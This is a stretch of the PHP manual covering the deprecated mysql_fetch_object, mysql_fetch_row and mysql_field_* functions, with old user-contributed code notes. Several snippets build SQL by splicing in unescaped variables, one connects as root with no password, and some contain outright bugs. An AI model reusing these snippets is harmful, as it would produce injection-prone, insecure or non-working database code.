in __construct() id: 2 go: second
outside ________ id: 2 go: 4845bd99ca2fd

It means that __construct() is invoked after filling fields with data from database, eg. it can be used to change strings into integers.
Justin Rovang 16-May-2008 09:24
This is another way to load variables quickly within $this, and allows for intervention on variable names.

All columns from the single-row result are loaded and accessed via $this->_variableName.

<?
class MyClass{
    public function _load($nID) {
        $Q = "SELECT * FROM myTable";
        if($aTmp = RETURN_Q_ARRAY($Q)) {
            $aTmp = $aTmp[0];
            $aK =array_keys($aTmp);
            foreach($aK as $sK) {
                if(!is_numeric($sK)) $this->{"_$sK"}=$aTmp[$sK];
            }
            return true;
        }
        return false;
    }
}

$o = new MyClass;
$o->_load(1);

echo $o->_id; //1
echo $o->_otherColumn; //otherColumn value
Peter T 20-Apr-2008 06:36
If you're using mysql_fetch_object and specifying a class - the properties will be set BEFORE the constructor is executed.  This is generally not an issue, but can cause some major problems if you're properties are set via the __set() magic method and constructor logic must be executed first.
danielpunt 08-Feb-2008 02:20
@Jezze : This wil also work. Also works with static methods.

<?php

class Foo
{
    private $FooBar;

    public function LoadFromId($Id)
    {
        $Result = mysql_query('SELECT * FROM foo WHERE Id = ' . $Id);
        while($Row = mysql_fetch_object($Result, __CLASS__))
        {
            print_r($Row);
        }

    }

}

$Foo = new Foo;
$Foo->LoadAll();

?>
Jezze 25-Sep-2007 07:56
If you have a class that represents itself in a database you can use this function to get the properties.

class MyClass {

  public $name;
  public $language;

  function load($id) {

    $query = mysql_query("SELECT name, language FROM myTable WHERE id = $id");
    $result = mysql_fetch_object($query, get_class($this));

    foreach(get_object_vars($result) as $var => $value) $this->$var = $value;
  }

}

$a = new MyClass();
$a->load(1);
Chris at r3i dot it 18-Aug-2007 07:03
In reply to rodolphe dot bodeau at free dot fr :

The function mysql_fetch_object has other two parameters that you can use.
As the manual say:
mysql_fetch_object( $resource, $class_name, $params ) )

$class_name and $params are optional.

So if you want to fetch a row in a class you can:

1) Define your class Test with method and other stuff.
2) Execute Query
3) call:
$Object = mysql_fetch_object( $Resource, "Test" );

so you can use $Object with the methods

Be aware how you write code in your methods: in this case, classes are used for centralize the code and they are not
really safe because you can have an additional Information
( with a Join Query for example ) without methods to access to them.
So classes need get and set method generalized.
( for extra see PHP 5 Manual O'Rielly on the use of generalized methods get and set )
rodolphe dot bodeau at free dot fr 13-May-2007 02:00
This little function stores the content of a mysql_fetch_object result into an object by using MySQL request field names as object parameters :

<?php
function FetchRequestInObject(&$obj, $req)
{
    $ReqVars = get_object_vars($req);
    foreach ($ReqVars as $ReqName => $ReqValue)
    {
        if (property_exists($obj, $ReqName))
        {
            $obj->$ReqName = $ReqValue;
        }
    }
}
?>

Remember that mysql_fetch_object is case sensitive, so beware of your object properties. Use keyword "AS" in your SQL request to change field name if necessary.
info [at] woeiweb [dot] nl 02-May-2007 09:17
Since PHP 5.2.1 it seems like this function doesn't like queries that return columns with empty names, like:
select '' from `table`

PHP exits and mysql_error() does not return an error.
syntax 22-Oct-2006 03:00
@Simon Paridon and others concerning SQL to php getting results via mysql_fetch_object:

Every query that would fail in a database frontend, such as MySQLs "Query Browser" and only will work by using the `-marks will probably give results hardly accessible in PHP especially if you have column names with "-" or " " in it.

Using the example of Simon Paridon: it is not possible to execute a query like:

SELECT id, user-id FROM unlucky_naming

only

SELECT id, `user-id` FROM unlucky_naming

will work...

so either be a bit wiser when naming the colums (e.g. user_id)

or try it with

SELECT id, `user-id` AS user_id FROM unlucky_naming

(i have not tested it in PHP yet, but i guess this will fail as well, if you have a query like "SELECT `foo name` FROM `unlucky naming 2`")

Somewhat down "amackenz at cs dot uml dot edu" mentioned to name sum, count etc. this may be a good hint for newbies: increase the speed of your php applications by using (my)sql native functions and save data transfer as well as processing time
Simon Paridon 24-Sep-2006 02:53
The behavior of this function is slightly questionable.

If you have a col in you table containing non-variable-name characters like "-", mysql_fetch_object will add "impossible variable names" to your object, e.g.

object (
  [user-id] => 7
)

You can not access this variable normally with $obj->user-id, because the variable name is invalid. But you can however access it like this:

$foo = 'user-id';
echo $obj->$foo;

It will correctly output 7, whereas var_dump($obj->user-id) would output int(0) for some reason.

I got this behaviour with PHP 4.4.2.
Kaminari (telecotxesco at hotmail) 24-Jul-2006 01:55
This is a very very elegant (and costless) way to fetch an enterie query to every single field name from a "wide" table:

The tedious way fetching:
<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    while($row=mysql_fetch_object($consult)){
        $IdLomo=$row->IdLomo;
        $Serie=$row->Serie;
        $Model=$row->Model;
        $Type=$row->Type;
        $Year=$row->Year;
        $Speed=$row->Speed;
        $Power=$row->Power;
        $Price=$row->Price;
        $Load1=$row->Load1;
        $Load2=$row->Load2;
        $Load3=$row->Load3;
        $Load4=$row->Load4;
        $Server=$row->Servier;
        $Real=$row->Real;
        $Lomo=$row->Lomo;
    }
?>

Resulting on 15 new variables called like their name on table wich we introduced manualy for 5 minutes. But imagine each row has 100 fields!

A way saving time with the same result:

<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    // We find the fields number
    $numfields=mysql_num_fields($consult);

    // Now we put the names of fields in a Array
    for($i=0;$i<$numfields;$i++){
        $fieldname[$i]=mysql_field_name($consult, $i);
    }

    while($row=mysql_fetch_object($consult)){
        //Finally we assign the new variables
        for($i=0;$i<$numfields;$i++){
            $$fieldname[$i]=$row->$fieldname[$i];
        }
    }
?>
trithaithus at tibiahumor dot net 21-Aug-2005 10:56
This method offers a nice way to fetch objects from databases. As Federico at Pomi dot net mentioned it doesn't work native as the type of the object fetched isn't the right one, but with a small typecast it works flawlessly.

<?php
function ClassTypeCast(&$obj,$class_type){
   if(class_exists($class_type)){
       $obj = unserialize(preg_replace("/^O:[0-9]+:\\"[^\"]+\\":/i",
         "O:".strlen($class_type).":\\"".$class_type."\\":", serialize($obj)));
   }
}

class Foo
{
    var $foo;
    var $bar;
    function get_from_db()
    {
        mysql_connect();
        mysql_select_db();
        $res = mysql_query("SELECT foo,bar from my_table");

        $fetched_object = mysql_fetch_object($res);
        ClassTypeCast($fetched_object,"Foo");
        $this = $fetched_object;
    }
}
?>
backglancer at hotmail 07-Aug-2005 12:07
Watch out for mysql_fetch_object() to return all values as strings.
if you try to do
<?
$p = mysql_fetch_object($some_sql);
// and then try to do something like

$money = $p->dollars + $p->cents;
?>

You may experience "Unsupported operand types"

so always cast them both as (int) 's!!
q 09-Jul-2004 04:31
Some clarifications about previous notes concerning duplicate field names in a result set.

Consider the following relations:

TABLE_A(id, name)
TABLE_B(id, name, id_A)

Where TABLE_B.id_A references TABLE_A.id.

Now, if we join these tables like this: "SELECT * FROM TABLE_A, TABLE_B WHERE TABLE_A.id = TABLE_B.id_A", the result set looks like this: (id, name, id, name, id_A).

The behaviour of mysql_fetch_object on a result like this isn't documented here, but it seems obvious that some data will be lost because of the duplicate field names.

This can be avoided, as Eskil Kvalnes stated, by aliasing the field names. However, it is not necessary to alias all fields on a large table, as the following syntax is legal in MySQL: "SELECT *, TABLE_A.name AS name_a, TABLE_B.name AS name_b FROM TABLE_A, TABLE_B ...". This will produce a result set formatted like this: (id, name, id, name, id_A, name_a, name_b), and your data is saved. Hooray!

-q
rcoles at hotmail dot com 16-Oct-2003 11:11
In reviewing Eskil Kvalnes's comments (04-Mar-2003 11:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object()) I was left asking and, as a newbie, the reason why I'm here. I have a 28 field table. Ran SELECT * with a LEFT JOIN, etc and it appears to have worked on my test server without issue.

On further reading, MYSQL.COM has the following:
* It is not allowed to use a column alias in a WHERE clause, because the column value may not yet be determined when the WHERE clause is executed. See section A.5.4 Problems with alias.
* The FROM table_references clause indicates the tables from which to retrieve rows. If you name more than one table, you are performing a join. For information on join syntax, see section 6.4.1.1 JOIN Syntax. For each table specified, you may optionally specify an alias.

Aware of the fact there's a difference between tables and fields there appears to be confusion here somewhere.
zhundiak at comcast dot net 16-May-2003 03:44
Here is a wrapper that will allow specifying a class name.
function &db_fetch_object($set,$className)
{
  /* Start by getting the usual array */
  $row = mysql_fetch_assoc($set);
  if ($row === null) return null;

  /* Create the object */
  $obj =& new $className();

  /* Explode the array and set the objects's instance data */
  foreach($row as $key => $value)
  {
    $obj->{$key} = $value;
  }
  return $obj;
}
class CPerson
{
  function getFullName()
  {
    return $this->fname . ' ' . $this->lname;
  }
}
$set = mysql_query('SELECT fname,lname FROM person');
while($person =& db_fetch_object($set,'CPerson'))
{
  echo $person->getFullName();
}
Eskil Kvalnes 04-Mar-2003 07:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object().
kalleanka 31-Jan-2003 12:50
an addition to the previous...

for example getting members from a database:

function getAllMembers () {
    $query = "SELECT * FROM people ORDER BY lname";
    $result = mysql_query($query);

    while($member = mysql_fetch_object($result)){
        $members[] = $member;
    }

    return $members;
}
<br><br>
    DON'T FORGET TO DECLARE THE ARRAY. If you try to cycle through members after the function has been called and you don't declare the array first you will get a horribly (HORRIBLY!) ugly error in your page. Also, if you try to add the object into the members array inside the while condition instead of in the while loop, you will generate one extra empty space in the array due to the last iteration/check.
spamme at aol dot com 16-Jan-2003 09:28
This is probably a little more elegant:

$sql = "SELECT * FROM table ";
$result = mysql_query($sql);

$data = array();

while ($row = mysql_fetch_object($result))
   $data[] = $row;
allen at brooker dot gb dot net 19-Nov-2002 01:14
I found the above code to be buggy, not adding all the records to the array. This is the code I used instead:

  $command = "SELECT * FROM table ";
  $result = mysql_query($command, $link_id);
  $num = mysql_num_rows($result);

  $clickthru = array();

  for ($i = 0; $i <= $num; $i++) {
    $clickthru[$i] = array();
    $clickthru[$i] = mysql_fetch_array($result);
  }

Allen
Federico at Pomi dot net 15-Sep-2002 04:41
Be carefull:
the object returned will be a new/fresh object.

You can't use this function to replace some attributes of an existing object keeping the old ones.

Example:
class person
{
   var $name;
   var $surname;
   var $doh;

function print()
{
   print($name." ".$surname);
}

function get_from_db()
{
   $res=query("select name, surname from ppl where... limit 1");
   $this=mysql-fetch-object($res);
}

}

This won't work! When the method get_from_db() is executed, your old object will be destroyed... you won't find anything in the attribute $doh, and if you'll try to call the method print(), it will say it doesn't exist.


Get a result row as an enumerated array

  • « mysql_fetch_object
  • mysql_field_flags »
  • PHP Manual
  • MySQL Functions
  • Get a result row as an enumerated array

mysql_fetch_row

(PHP 4, PHP 5)

mysql_fetch_row — Get a result row as an enumerated array

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_row()
  • PDOStatement::fetch(PDO::FETCH_NUM)

Description

array mysql_fetch_row ( resource $result )

Returns a numerical array that corresponds to the fetched row and moves the internal data pointer ahead.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

Returns an numerical array of strings that corresponds to the fetched row, or FALSE if there are no more rows.

mysql_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Examples

Example #1 Fetching one row with mysql_fetch_row()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);

echo $row[0]; // 42
echo $row[1]; // the email value
?>

Notes

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_fetch_object() - Fetch a result row as an object
  • mysql_data_seek() - Move internal result pointer
  • mysql_fetch_lengths() - Get the length of each output in a result
  • mysql_result() - Get result data

User Contributed Notes

murapaka dot sateesh at gmail dot com 05-Jun-2014 01:25
<?php

$conn=mysql_connect("localhost","root","");
if($conn)
{
    echo("Connection Successfully");
    $seldb=mysql_select_db("test",$conn);
    if($seldb)
    {
        echo("Database selected successfully");
        $retrive=mysql_query("select name,number from login1 where name='sateesh'",$conn);
        if($retrive)
        {
            echo("Successfully data retrived<br>");

            $result=mysql_fetch_row($retrive);

                echo ("Name".$result[0]);
                echo ("Number".$result[1]);

        }
        else
        {
        echo "Table not inserted";
        }
        }
        else
        {
            die("database not selected");
        }
    }
    else
    {
        die("connection faild");
    }
    mysql_close($conn);
?>
pepik at gmail dot cz 19-Jun-2013 08:46
<?php
  require 'prhlavicka.php';
  pis_hlavicku('Vypis článků');

   require_once 'db.php';
    $kom = new server();
    $sql=$kom->query("SELECT autor,nazev,obsah FROM `Clanky_Sadek`");
               while ($data = mysql_fetch_row($sql)){
                 ECHO '<br />--AUTOR--<br />'.$data[0].'<br />__NÁZEV ČLÁNKU__<br />'.$data[1].'<br />..OBSAH ČLÁNKU..<br />'.$data[2];     }

  include 'Paticka.html'; ?>
jhulbert at redf dot com 19-Feb-2010 10:32
Creates table from all db info:

<?php
$qry = "SELECT * FROM exp_member_data";
$res = mysql_query($mem_qry);

function mysql_fetch_all($res) {
   while($row=mysql_fetch_array($res)) {
       $return[] = $row;
   }
   return $return;
}

function create_table($dataArr) {
    echo "<tr>";
    for($j = 0; $j < count($dataArr); $j++) {
        echo "<td>".$dataArr[$j]."</td>";
    }
    echo "</tr>";
}

$all = mysql_fetch_all($res);

echo "<table class='data_table'>";

for($i = 0; $i < count($all); $i++) {
    create_table($all[$i]);
}

echo "</table>";

?>
larkitetto at gmail dot com 22-Feb-2008 12:29
sry :) note now fixed:

<?php
$esi=mysql_list_tables($db);$ris=mysql_fetch_row($esi);
//example: $db has >= 1 tabs
echo var_dump($ris);
//echoes only array(1). solution:
while($ris=mysql_fetch_row($esi)) echo $ris[0];
/*debug:
$ris=array("1st_tab"); ... $ris=array("n_tab");$ris=false;*/
while ($ris[]=mysql_fetch_row($esi));
//debug:$ris=array(array("1st_tab"), ... array("n_tab"));
echo $ris[n][0];//echo:"n_tab"
echo $ris[0][n];//echo:array | null
?>

hope it helps
ryhan_balboa at yahoo dot com 16-Nov-2007 06:23
The following are the basic codes to get a specific row from the mysql db into a $row variable:

$query = "SELECT * FROM table";
$result = mysql_query($query);
$row = mysql_fetch_row($result);

And $row[0], $row[1] ... $row[n] are used to access those field values.

Does anyone know how I can add a new field to $row, so that the field count increases from n to n+1?

I have tried treating $row like an array, and tried array_push function, but didn't work.

Thanks.
m dot s at programmers-online dot net 17-Nov-2005 10:56
The following function to read all data out of a mysql-resultset, is may be faster than Rafaels solution:

<?
function mysql_fetch_all($result) {
   while($row=mysql_fetch_array($result)) {
       $return[] = $row;
   }
   return $return;
}
?>
michael and then an at sign wassupy.com 08-Apr-2003 09:09
to print an array, simply use print_r(array name)

like this:
    $myrow = mysql_fetch_row($result);
echo "<pre>";
print_r($myrow);
echo "</pre>";

this will output the array in a readable form, with the index, too. Don't forget the 'pre' tags or the output will be on a single line.
a at simongrant dot org 06-Feb-2002 02:10
Maybe worth pointing out that all the fields returned by this (and other?) calls are returned with type string. This had me puzzled for quite some time.


Get the flags associated with the specified field in a result

  • « mysql_fetch_row
  • mysql_field_len »
  • PHP Manual
  • MySQL Functions
  • Get the flags associated with the specified field in a result

mysql_field_flags

(PHP 4, PHP 5)

mysql_field_flags — Get the flags associated with the specified field in a result

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_field_direct() [flags]
  • PDOStatement::getColumnMeta() [flags]

Description

string mysql_field_flags ( resource $result , int $field_offset )

mysql_field_flags() returns the field flags of the specified field. The flags are reported as a single word per flag separated by a single space, so that you can split the returned value using explode().

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Returns a string of flags associated with the result or FALSE on failure.

The following flags are reported, if your version of MySQL is current enough to support them: "not_null", "primary_key", "unique_key", "multiple_key", "blob", "unsigned", "zerofill", "binary", "enum", "auto_increment" and "timestamp".

Examples

Example #1 A mysql_field_flags() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$flags = mysql_field_flags($result, 0);

echo $flags;
print_r(explode(' ', $flags));
?>

The above example will output something similar to:

not_null primary_key auto_increment
Array
(
    [0] => not_null
    [1] => primary_key
    [2] => auto_increment
)

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldflags()

See Also

  • mysql_field_type() - Get the type of the specified field in a result
  • mysql_field_len() - Returns the length of the specified field

User Contributed Notes

play at arcadevillage dot com 03-Aug-2009 04:07
To really backup the database values, I made a little changement :

My code really looks like bomas 's code, but there is an important diffence :

<?php
$nbc = mysql_num_fields($req_table);
while ($ligne = mysql_fetch_array($req_table))
  {
    $insertions = "INSERT INTO $table VALUES(";
     for ($i=0; $i<$nbc; $i++)
        {
          if ( $i > 0 ) $insertions .= ", ";
          if ( !isset($ligne[$i]))
            $insertions .= "NULL";
          else
            $insertions .= "'" . mysql_real_escape_string($ligne[$i]). "'";
        }
     $insertions .= ");";
     $dumpsql[] = $insertions;
   }
?>

$dumpslq is the variable where I put the insertion orders before writting them in a text file.

Before, I test that the values if not NULL into the field because it is the only way to make the difference, for example for string text fields, between NULL values and empty strings.

If you don't make this test, you should find empty string instead of NULL values when you do the backup.
bomas at cities-of-faith dot com 08-Sep-2005 10:52
well, to make a complete backup of your database, i suggest this code:

//open database here
$tab_status = mysql_query("SHOW TABLE STATUS");
while($all = mysql_fetch_assoc($tab_status)):
    $tbl_stat[$all[Name]] = $all[Auto_increment];
endwhile;
unset($backup);
$tables = mysql_list_tables('cofadmin');
while($tabs = mysql_fetch_row($tables)):
    $backup .= "--\n--Tabel structuur voor `$tabs[0]`\n--\n\nDROP IF EXISTS TABLE `$tabs[0]`\nCREATE TABLE IF NOT EXISTS `$tabs[0]` (&nbsp;";
    $res = mysql_query("SHOW CREATE TABLE $tabs[0]");
    while($all = mysql_fetch_assoc($res)):
        $str = str_replace("CREATE TABLE `$tabs[0]` (", "", $all['Create Table']);
        $str = str_replace(",", ",&nbsp;", $str);
        $str2 = str_replace("`) ) TYPE=MyISAM ", "`)\n ) TYPE=MyISAM ", $str);
        $backup .= $str2." AUTO_INCREMENT=".$tbl_stat[$tabs[0]].";\n\n";
    endwhile;
    $backup .= "--\n--Gegevens worden uitgevoerd voor tabel `$tabs[0]`\n--\n\n";
    $data = mysql_query("SELECT * FROM $tabs[0]");
    while($dt = mysql_fetch_row($data)):
        $backup .= "INSERT INTO `$tabs[0]` VALUES('$dt[0]'";
        for($i=1; $i<sizeof($dt); $i++):
            $backup .= ", '$dt[$i]'";
        endfor;
        $backup .= ");\n";
    endwhile;
    $backup .= "\n-- --------------------------------------------------------\n\n";
endwhile;
echo $backup;

this displayes your data the same way as phpmyadmin does.

hope it helps some of you guys
Greetz
pike-php at kw dot nl 15-Jul-2005 01:55
ok, sorry for the code bloat :) but this is how I
get the full power of mysql's DESCRIBE table statement, in
an associative array, including defaults, enum values, float radix et all.

it assumes mysql returns the type as
   "type[(arg[,arg..])] [ add]"
like
   "float(20,6) unsigned"
   "enum('yes','no')"
etc

<?

function getFields($tablename) {

        $fields = array();
        $fullmatch         = "/^([^(]+)(\([^)]+\))?(\s(.+))?$/";
        $charlistmatch     = "/,?'([^']*)'/";
        $numlistmatch     = "/,?(\d+)/";

        $fieldsquery .= "DESCRIBE $tablename";
        $result_fieldsquery = mysql_query($fieldsquery) or die(mysql_error());
        while ($row_fieldsquery = mysql_fetch_assoc($result_fieldsquery)) {

            $name     = $row_fieldsquery['Field'];
            $fields[$name] = array();
            $fields[$name]["type"]         = "";
            $fields[$name]["args"]         = array();
            $fields[$name]["add"]          = "";
            $fields[$name]["null"]        = $row_fieldsquery['Null'];
            $fields[$name]["key"]        = $row_fieldsquery['Key'];
            $fields[$name]["default"]    = $row_fieldsquery['Default'];
            $fields[$name]["extra"]        = $row_fieldsquery['Extra'];

            $fulltype     = $row_fieldsquery['Type'];
            $typeregs = array();

            if (preg_match($fullmatch, $fulltype, $typeregs)) {
                $fields[$name]["type"] = $typeregs[1];
                if ($typeregs[4]) $fields[$name]["add"] = $typeregs[4];
                $fullargs = $typeregs[2];
                $argsreg = array();
                if (preg_match_all($charlistmatch, $fullargs, $argsreg)) {
                    $fields[$name]["args"] = $argsreg[1];
                } else {
                    $argsreg = array();
                    if (preg_match_all($numlistmatch, $fullargs, $argsreg)) {
                        $fields[$name]["args"] = $argsreg[1];
                    } else die("cant parse type args: $fullargs");
                }
            } else die("cant parse type: $fulltype");

        }
        return $fields;

    }

?>
buttrose at unimelb dot edu dot au 21-Oct-2004 04:26
This function is essential for writing a generic table editor (ie one that just takes the name of the table and works out what fields it has, types, sizes etc.). Unfortunately, I am using psotgreSQL not mySql. Postgres has field_type and field_size functions  but not as far as I can tell an equivalent of the mysql_field_flags() function. Without it, there is no way I can do generic ADDs and INSERTs.

Anyone know a workaround to get this information (eg is the field a primary key? Can it be NULL? Is it auto_increment?) in Postgres?

Cheers

Rob Buttrose
amir at scrounch dot com 17-Aug-2003 07:39
returns primary keys of a table using 'show keys'
although it is possible to use desc, show keys offers possible enhancements such a getting sequence in index along with it

function getPrimaryKeyOf($table, $link) {
  $pk = Array();

  $sql = 'SHOW KEYS FROM `'.$table.'`';
  $res = mysql_query($table, $link) or die(mysql_error());
  while ($row = mysql_fetch_assoc($res)) {
    if ($row['Key_name']=='PRIMARY')
      array_push($pk, $row['Column_name']);
  }
  return $pk;
}
simone dot t at betisgroup dot com 10-Apr-2003 01:20
Another examples :

####################################

function field_keys($host, $user, $password, $database, $field ) {
   $db_link = mysql_connect($host, $user, $password) or die ("error connect");
   mysql_select_db($database,$db_link);
   $query="DESC $field";
   $results=mysql_query($query);
   $i=0;
   while ($row=mysql_fetch_array($results)) {
         if ($row[Key]=="PRI") {
            $array_keys[$i]=$row[Field];
         }
         $i++;
  }
   return $array_keys;
}

####################################

//Example of Main...
$tmp = field_keys("localhost", "myuser", "mypassword", "mydb", "field_name" );

// ...loop through array...
foreach ( $tmp as $array_tmp){
    print "<br>";
    print $array_tmp;
    print "<br>";
}
justin DOT flavin AT ntlworld DOT com 06-Dec-2002 07:36
Sometimes, when writing a generic function or class, you want your script to be able to determine what the primary key of a table is.
/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
if ($row[Type]="PRI")
    {
print "I found the primary key! <br>";
$UserKey=$row[Field];
print $row[Field];
/* drop out , as we've found the key */
exit;
    }
}

..... later on we might have something like

< some sort of loop through records >

print "<a href='View_User_record.php?userkey=$UserKey'> Users Name </a>";

<end loop>

What's also interesting is the useful data you can get from
a DESC query.

The following prints out the array values grabbed by mysql_fetch_array on a DESC query - VERY useful stuff!!!

/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
print "<pre>";
print_r ($row);
print "</pre>";
}
jakemsr at jakemsr dot com 31-Oct-2002 09:32
I didn't find anything to get the valid values for
ENUM or SET column types, so I came up with the
following

function mysql_enum_values($table, $field)
{
    $sql = "SHOW COLUMNS FROM $table LIKE '$field'";
    $sql_res = mysql_query($sql)
        or die("Could not query:\n$sql");
    $row = mysql_fetch_assoc($sql_res);
    mysql_free_result($sql_res);
    return(explode("','",
        preg_replace("/.*\('(.*)'\)/", "\\1",
            $row["Type"])));
}
cufarley at nirvanet dot net 11-Jul-2001 02:36
Using the "DESC TableName" command may also do the trick and is a bit shorter.
jurgen at alienguitar dot com 11-Jun-2001 01:50
The previous problem to get the default values of a column:
Use the following query and parse the 'Default' column:

"SHOW COLUMNS FROM TableName"

or for a single entry:

"SHOW COLUMNS FROM TableName LIKE 'column'"

It will give you also values for Type,  Null, Key and Extra (check with mysql program first, so you see what you get ;-)


Returns the length of the specified field

  • « mysql_field_flags
  • mysql_field_name »
  • PHP Manual
  • MySQL Functions
  • Returns the length of the specified field

mysql_field_len

(PHP 4, PHP 5)

mysql_field_len — Returns the length of the specified field

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_field_direct() [length]
  • PDOStatement::getColumnMeta() [len]

Description

int mysql_field_len ( resource $result , int $field_offset )

mysql_field_len() returns the length of the specified field.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

The length of the specified field index on success or FALSE on failure.

Examples

Example #1 mysql_field_len() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}

// Will get the length of the id field as specified in the database
// schema.
$length = mysql_field_len($result, 0);
echo $length;
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldlen()

See Also

  • mysql_fetch_lengths() - Get the length of each output in a result
  • strlen() - Get string length

User Contributed Notes

rvwoens at gmail dot com 05-Feb-2012 02:38
Note that for some reason the length of fields is 3 times the actual value if you are using UTF8 encoding.. So a varchar(10) field returns 30 here. This renders this function almost useless.
adam_nospam_hunger at yahoo dot com 31-Oct-2003 02:04
For a mysql type DECIMAL(8,4), the length is returned as 10 (M+2 as per documentation).


Get the name of the specified field in a result

  • « mysql_field_len
  • mysql_field_seek »
  • PHP Manual
  • MySQL Functions
  • Get the name of the specified field in a result

mysql_field_name

(PHP 4, PHP 5)

mysql_field_name — Get the name of the specified field in a result

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_field_direct() [name] or [orgname]
  • PDOStatement::getColumnMeta() [name]

Description

string mysql_field_name ( resource $result , int $field_offset )

mysql_field_name() returns the name of the specified field index.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

The name of the specified field index on success or FALSE on failure.

Examples

Example #1 mysql_field_name() example

<?php
/* The users table consists of three fields:
 *   user_id
 *   username
 *   password.
 */
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect to MySQL server: ' . mysql_error());
}
$dbname = 'mydb';
$db_selected = mysql_select_db($dbname, $link);
if (!$db_selected) {
    die("Could not set $dbname: " . mysql_error());
}
$res = mysql_query('select * from users', $link);

echo mysql_field_name($res, 0) . "\n";
echo mysql_field_name($res, 2);
?>

The above example will output:

user_id
password

Notes

Note: Field names returned by this function are case-sensitive.

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldname()

See Also

  • mysql_field_type() - Get the type of the specified field in a result
  • mysql_field_len() - Returns the length of the specified field

User Contributed Notes

tiptonentserv at gmail dot com 14-Aug-2011 02:56
simple sql to xml converter works with any sql query and returns the name of the table as the root element "row" as each row element and the names of the columns are your children of row. fully tested.

<?php
function sqlToXml($host,$user,$pass,$database,$tablename,$query){

    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());

    $result = mysql_query($query);
    if(!$result){ die('Invalid query: '.mysql_error()); }

    $numOfCols = mysql_num_fields($result);
    $numOfRows = mysql_num_rows($result);

    $info = mysql_fetch_assoc($result);

    //send headers
    header('Content-type: text/xml');
    header('Pragma: public');
    header('Cache-control: private');
    header('Expires: -1');
    $xml = '<?xml version="1.0" encoding="utf-8"?>';
    $xml.= "<{$tablename}>";

    if($numOfRows > 0){
        do {
            $xml.= "<row>";
            foreach($info as $column => $value) {
                $xml.= "<{$column}>{$value}</{$column}>";
            }
            $xml.= "</row>";
        }
        while ($info = mysql_fetch_array($result));
    }
    $xml.= "</{$tablename}>";

    mysql_free_result($result);
    return $xml;

}
?>
bags 25-Jul-2010 12:02
When using aliases, it appears impossible to discover the name of the underlying column.
select `ID` as `anAlias` from `aTable` returns 'anAlias' as the mysql_field_name(). I have tried all the mysql_field_xxx() functions and none return the real column name.
anonymous at site dot com 09-Mar-2008 03:13
This function is slightly stupid to be honest, why not just make an array of field names... You could consolidate the two of these functions that way and it makes it a lot easier to list them when your script is dynamic.

<?php

    function mysql_field_array( $query ) {

        $field = mysql_num_fields( $query );

        for ( $i = 0; $i < $field; $i++ ) {

            $names[] = mysql_field_name( $query, $i );

        }

        return $names;

    }

    // Examples of use

    $fields = mysql_field_array( $query );

    // Show name of column 3

    echo $fields[3];

    // Show them all

    echo implode( ', ', $fields[3] );

     // Count them - easy equivelant to 'mysql_num_fields'

    echo count( $fields );

?>
blackjackdevel at gmail dot com 14-Nov-2007 01:13
Strangely using an aproach like this:
$res=mysql_query("SELECT * FROM `orders`",$conec) or die (mysql_error());

$fields = mysql_num_fields($res);
$out="";
for ($i = 0; $i < $fields; $i++) {
    $fname=mysql_field_name($res, $i);

}

 Outputted the E_Warning:
Warning: mysql_field_name() [function.mysql-field-name]: Field N is invalid for MySQL result index

 With a lot of different number at N. But expliciting all fields instead of *. Didn't outputted the error.

 It maybe a caracteristic of this mysql database(it is from a open source application) because i never saw this in my own databases. Anyway hope this help if someone face the same strange situation
matteo.cisilino[no_more]cisilino[spm]com 09-Jan-2007 05:54
james, why make so difficult when it's very simple :\

